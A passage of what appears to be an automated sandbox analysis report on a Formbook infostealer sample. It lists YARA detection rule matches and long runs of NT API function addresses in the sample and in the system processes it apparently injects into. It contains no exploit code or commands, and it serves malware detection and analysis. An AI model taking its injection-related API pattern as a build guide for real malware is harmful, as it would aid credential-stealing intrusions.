MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group\nSource: 00000002.00000002.1135356975.0000000003E54000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com\nSource: 00000013.00000002.1553095151.00000000003A0000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group\nSource: 00000013.00000002.1553095151.00000000003A0000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com\nSource: 00000004.00000002.2705696143.00000000048DF000.00000004.00000001.sdmp, type: MEMORY Matched rule: Auto-generated rule - file scan copy.pdf.r11 Author: Florian Roth\nSource: 00000012.00000002.1553595966.0000000003F04000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group\nSource: 00000012.00000002.1553595966.0000000003F04000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com\nSource: 00000012.00000002.1549846475.0000000000401000.00000020.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group\nSource: 00000012.00000002.1549846475.0000000000401000.00000020.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com\nSource: 00000004.00000002.2701515168.00000000006D0000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group\nSource: 00000004.00000002.2701515168.00000000006D0000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com\nSource: 00000012.00000002.1552830718.0000000002CE0000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group\nSource: 00000012.00000002.1552830718.0000000002CE0000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com\nSource: 00000002.00000002.1132089872.0000000000401000.00000020.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group\nSource: 00000002.00000002.1132089872.0000000000401000.00000020.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com\nSource: 00000004.00000002.2701977232.0000000000940000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group\nSource: 00000004.00000002.2701977232.0000000000940000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com\nSource: 00000002.00000002.1134592237.0000000002AF0000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group\nSource: 00000002.00000002.1134592237.0000000002AF0000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com\nSource: 00000012.00000002.1550979409.0000000002240000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group\nSource: 00000012.00000002.1550979409.0000000002240000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com\nSource: 00000002.00000002.1133021298.00000000020C0000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group\nSource: 00000002.00000002.1133021298.00000000020C0000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com\nSource: 2.2.bXdiOPDmyZ.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group\nSource: 2.2.bXdiOPDmyZ.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com\nSource: 18.2.ntbhcfw6lm.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group\nSource: 18.2.ntbhcfw6lm.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 0_2_03D51CF1 NtProtectVirtualMemory, 0_2_03D51CF1\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_00416BC0 NtCreateFile, 2_2_00416BC0\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_00416C70 NtReadFile, 2_2_00416C70\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_00416CF0 NtClose, 2_2_00416CF0\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_00416DA0 NtAllocateVirtualMemory, 2_2_00416DA0\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_00416BBB NtCreateFile, 2_2_00416BBB\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BA240 NtReadFile,LdrInitializeThunk, 2_2_201BA240\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BA2D0 NtClose,LdrInitializeThunk, 2_2_201BA2D0\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BA360 NtAllocateVirtualMemory,LdrInitializeThunk, 2_2_201BA360\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BA3E0 NtFreeVirtualMemory,LdrInitializeThunk, 2_2_201BA3E0\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BA410 NtQueryInformationToken,LdrInitializeThunk, 2_2_201BA410\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BA480 NtMapViewOfSection,LdrInitializeThunk, 2_2_201BA480\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BA4A0 NtUnmapViewOfSection,LdrInitializeThunk, 2_2_201BA4A0\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BA540 NtDelayExecution,LdrInitializeThunk, 2_2_201BA540\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BA560 NtQuerySystemInformation,LdrInitializeThunk, 2_2_201BA560\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BA5F0 NtReadVirtualMemory,LdrInitializeThunk, 2_2_201BA5F0\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BA610 NtAdjustPrivilegesToken,LdrInitializeThunk, 2_2_201BA610\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BA6A0 NtCreateSection,LdrInitializeThunk, 2_2_201BA6A0\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BA700 NtProtectVirtualMemory,LdrInitializeThunk, 2_2_201BA700\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BA720 NtResumeThread,LdrInitializeThunk, 2_2_201BA720\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BA750 NtCreateFile,LdrInitializeThunk, 2_2_201BA750\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BA800 NtSetValueKey, 2_2_201BA800\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BB0B0 NtGetContextThread, 2_2_201BB0B0\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BBA30 NtSetContextThread, 2_2_201BBA30\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BA220 NtWaitForSingleObject, 2_2_201BA220\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BA260 NtWriteFile, 2_2_201BA260\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BA2F0 NtQueryInformationFile, 2_2_201BA2F0\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BA310 NtEnumerateValueKey, 2_2_201BA310\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BA350 NtQueryValueKey, 2_2_201BA350\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BA370 NtQueryInformationProcess, 2_2_201BA370\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BA3D0 NtCreateKey, 2_2_201BA3D0\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BB410 NtOpenProcessToken, 2_2_201BB410\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BA430 NtQueryVirtualMemory, 2_2_201BA430\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BA470 NtSetInformationFile, 2_2_201BA470\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BB470 NtOpenThread, 2_2_201BB470\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BA460 NtOpenProcess, 2_2_201BA460\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BACE0 NtCreateMutant, 2_2_201BACE0\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BA520 NtEnumerateKey, 2_2_201BA520\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BBD40 NtSuspendThread, 2_2_201BBD40\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BA5A0 NtWriteVirtualMemory, 2_2_201BA5A0\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BA650 NtQueueApcThread, 2_2_201BA650\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BA6D0 NtCreateProcessEx, 2_2_201BA6D0\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BA710 NtQuerySection, 2_2_201BA710\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_201BA780 NtOpenDirectoryObject, 2_2_201BA780\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECA800 NtSetValueKey,LdrInitializeThunk, 4_2_00ECA800\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECA2D0 NtClose,LdrInitializeThunk, 4_2_00ECA2D0\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECA260 NtWriteFile,LdrInitializeThunk, 4_2_00ECA260\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECA240 NtReadFile,LdrInitializeThunk, 4_2_00ECA240\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECA3E0 NtFreeVirtualMemory,LdrInitializeThunk, 4_2_00ECA3E0\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECA3D0 NtCreateKey,LdrInitializeThunk, 4_2_00ECA3D0\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECA360 NtAllocateVirtualMemory,LdrInitializeThunk, 4_2_00ECA360\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECA350 NtQueryValueKey,LdrInitializeThunk, 4_2_00ECA350\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECA310 NtEnumerateValueKey,LdrInitializeThunk, 4_2_00ECA310\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECACE0 NtCreateMutant,LdrInitializeThunk, 4_2_00ECACE0\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECA480 NtMapViewOfSection,LdrInitializeThunk, 4_2_00ECA480\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECA470 NtSetInformationFile,LdrInitializeThunk, 4_2_00ECA470\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECA410 NtQueryInformationToken,LdrInitializeThunk, 4_2_00ECA410\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECA560 NtQuerySystemInformation,LdrInitializeThunk, 4_2_00ECA560\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECA540 NtDelayExecution,LdrInitializeThunk, 4_2_00ECA540\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECA6A0 NtCreateSection,LdrInitializeThunk, 4_2_00ECA6A0\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECA610 NtAdjustPrivilegesToken,LdrInitializeThunk, 4_2_00ECA610\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECA750 NtCreateFile,LdrInitializeThunk, 4_2_00ECA750\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECB0B0 NtGetContextThread, 4_2_00ECB0B0\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECA2F0 NtQueryInformationFile, 4_2_00ECA2F0\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECA220 NtWaitForSingleObject, 4_2_00ECA220\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECBA30 NtSetContextThread, 4_2_00ECBA30\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECA370 NtQueryInformationProcess, 4_2_00ECA370\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECA4A0 NtUnmapViewOfSection, 4_2_00ECA4A0\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECA460 NtOpenProcess, 4_2_00ECA460\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECB470 NtOpenThread, 4_2_00ECB470\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECA430 NtQueryVirtualMemory, 4_2_00ECA430\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECB410 NtOpenProcessToken, 4_2_00ECB410\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECA5F0 NtReadVirtualMemory, 4_2_00ECA5F0\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECA5A0 NtWriteVirtualMemory, 4_2_00ECA5A0\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECBD40 NtSuspendThread, 4_2_00ECBD40\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECA520 NtEnumerateKey, 4_2_00ECA520\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECA6D0 NtCreateProcessEx, 4_2_00ECA6D0\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECA650 NtQueueApcThread, 4_2_00ECA650\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECA780 NtOpenDirectoryObject, 4_2_00ECA780\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECA720 NtResumeThread, 4_2_00ECA720\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECA700 NtProtectVirtualMemory, 4_2_00ECA700\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00ECA710 NtQuerySection, 4_2_00ECA710\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00956BC0 NtCreateFile, 4_2_00956BC0\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00956CF0 NtClose, 4_2_00956CF0\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00956C70 NtReadFile, 4_2_00956C70\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00956DA0 NtAllocateVirtualMemory, 4_2_00956DA0\nSource: C:\_Windows\_SysWOW64\_cmmon32.exe Code function: 4_2_00956BBB NtCreateFile, 4_2_00956BBB\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 17_2_03D71CF1 NtProtectVirtualMemory, 17_2_03D71CF1\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026A240 NtReadFile,LdrInitializeThunk, 18_2_2026A240\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026A2D0 NtClose,LdrInitializeThunk, 18_2_2026A2D0\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026A360 NtAllocateVirtualMemory,LdrInitializeThunk, 18_2_2026A360\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026A3E0 NtFreeVirtualMemory,LdrInitializeThunk, 18_2_2026A3E0\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026A410 NtQueryInformationToken,LdrInitializeThunk, 18_2_2026A410\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026A4A0 NtUnmapViewOfSection,LdrInitializeThunk, 18_2_2026A4A0\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026A480 NtMapViewOfSection,LdrInitializeThunk, 18_2_2026A480\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026A560 NtQuerySystemInformation,LdrInitializeThunk, 18_2_2026A560\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026A540 NtDelayExecution,LdrInitializeThunk, 18_2_2026A540\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026A5F0 NtReadVirtualMemory,LdrInitializeThunk, 18_2_2026A5F0\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026A610 NtAdjustPrivilegesToken,LdrInitializeThunk, 18_2_2026A610\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026A6A0 NtCreateSection,LdrInitializeThunk, 18_2_2026A6A0\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026A720 NtResumeThread,LdrInitializeThunk, 18_2_2026A720\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026A700 NtProtectVirtualMemory,LdrInitializeThunk, 18_2_2026A700\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026A750 NtCreateFile,LdrInitializeThunk, 18_2_2026A750\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026A800 NtSetValueKey, 18_2_2026A800\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026B0B0 NtGetContextThread, 18_2_2026B0B0\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026A220 NtWaitForSingleObject, 18_2_2026A220\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026BA30 NtSetContextThread, 18_2_2026BA30\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026A260 NtWriteFile, 18_2_2026A260\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026A2F0 NtQueryInformationFile, 18_2_2026A2F0\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026A310 NtEnumerateValueKey, 18_2_2026A310\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026A370 NtQueryInformationProcess, 18_2_2026A370\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026A350 NtQueryValueKey, 18_2_2026A350\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026A3D0 NtCreateKey, 18_2_2026A3D0\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026A430 NtQueryVirtualMemory, 18_2_2026A430\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026B410 NtOpenProcessToken, 18_2_2026B410\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026A460 NtOpenProcess, 18_2_2026A460\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026A470 NtSetInformationFile, 18_2_2026A470\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026B470 NtOpenThread, 18_2_2026B470\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026ACE0 NtCreateMutant, 18_2_2026ACE0\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026A520 NtEnumerateKey, 18_2_2026A520\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026BD40 NtSuspendThread, 18_2_2026BD40\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026A5A0 NtWriteVirtualMemory, 18_2_2026A5A0\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026A650 NtQueueApcThread, 18_2_2026A650\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026A6D0 NtCreateProcessEx, 18_2_2026A6D0\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026A710 NtQuerySection, 18_2_2026A710\nSource: C:\_Program Files (x86)\_Dzhld\_ntbhcfw6lm.exe Code function: 18_2_2026A780 NtOpenDirectoryObject, 18_2_2026A780\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434ACE0 NtCreateMutant,LdrInitializeThunk, 19_2_0434ACE0\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434A560 NtQuerySystemInformation,LdrInitializeThunk, 19_2_0434A560\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434A610 NtAdjustPrivilegesToken,LdrInitializeThunk, 19_2_0434A610\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434A2D0 NtClose,LdrInitializeThunk, 19_2_0434A2D0\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434A360 NtAllocateVirtualMemory,LdrInitializeThunk, 19_2_0434A360\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434A3E0 NtFreeVirtualMemory,LdrInitializeThunk, 19_2_0434A3E0\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434A430 NtQueryVirtualMemory, 19_2_0434A430\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434B410 NtOpenProcessToken, 19_2_0434B410\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434A410 NtQueryInformationToken, 19_2_0434A410\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434A470 NtSetInformationFile, 19_2_0434A470\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434B470 NtOpenThread, 19_2_0434B470\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434A460 NtOpenProcess, 19_2_0434A460\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434A4A0 NtUnmapViewOfSection, 19_2_0434A4A0\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434A480 NtMapViewOfSection, 19_2_0434A480\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434A520 NtEnumerateKey, 19_2_0434A520\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434BD40 NtSuspendThread, 19_2_0434BD40\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434A540 NtDelayExecution, 19_2_0434A540\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434A5A0 NtWriteVirtualMemory, 19_2_0434A5A0\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434A5F0 NtReadVirtualMemory, 19_2_0434A5F0\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434A650 NtQueueApcThread, 19_2_0434A650\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434A6A0 NtCreateSection, 19_2_0434A6A0\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434A6D0 NtCreateProcessEx, 19_2_0434A6D0\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434A720 NtResumeThread, 19_2_0434A720\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434A710 NtQuerySection, 19_2_0434A710\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434A700 NtProtectVirtualMemory, 19_2_0434A700\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434A750 NtCreateFile, 19_2_0434A750\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434A780 NtOpenDirectoryObject, 19_2_0434A780\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434A800 NtSetValueKey, 19_2_0434A800\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434B0B0 NtGetContextThread, 19_2_0434B0B0\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434BA30 NtSetContextThread, 19_2_0434BA30\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434A220 NtWaitForSingleObject, 19_2_0434A220\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434A260 NtWriteFile, 19_2_0434A260\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434A240 NtReadFile, 19_2_0434A240\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434A2F0 NtQueryInformationFile, 19_2_0434A2F0\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434A310 NtEnumerateValueKey, 19_2_0434A310\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434A370 NtQueryInformationProcess, 19_2_0434A370\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434A350 NtQueryValueKey, 19_2_0434A350\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_0434A3D0 NtCreateKey, 19_2_0434A3D0\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_003B6BC0 NtCreateFile, 19_2_003B6BC0\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_003B6C70 NtReadFile, 19_2_003B6C70\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_003B6CF0 NtClose, 19_2_003B6CF0\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_003B6DA0 NtAllocateVirtualMemory, 19_2_003B6DA0\nSource: C:\_Windows\_SysWOW64\_raserver.exe Code function: 19_2_003B6BBB NtCreateFile, 19_2_003B6BBB\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 0_2_03D513DE 0_2_03D513DE\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_0041B0EB 2_2_0041B0EB\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_004078EE 2_2_004078EE\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_004078F0 2_2_004078F0\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_0041B08A 2_2_0041B08A\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_0041A22E 2_2_0041A22E\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_0041ADD8 2_2_0041ADD8\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_00419DF6 2_2_00419DF6\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code function: 2_2_00419F63 2_2_00419F63\nSource: C:\_Users\_user\_Desktop\_bXdiOPDmyZ.exe Code 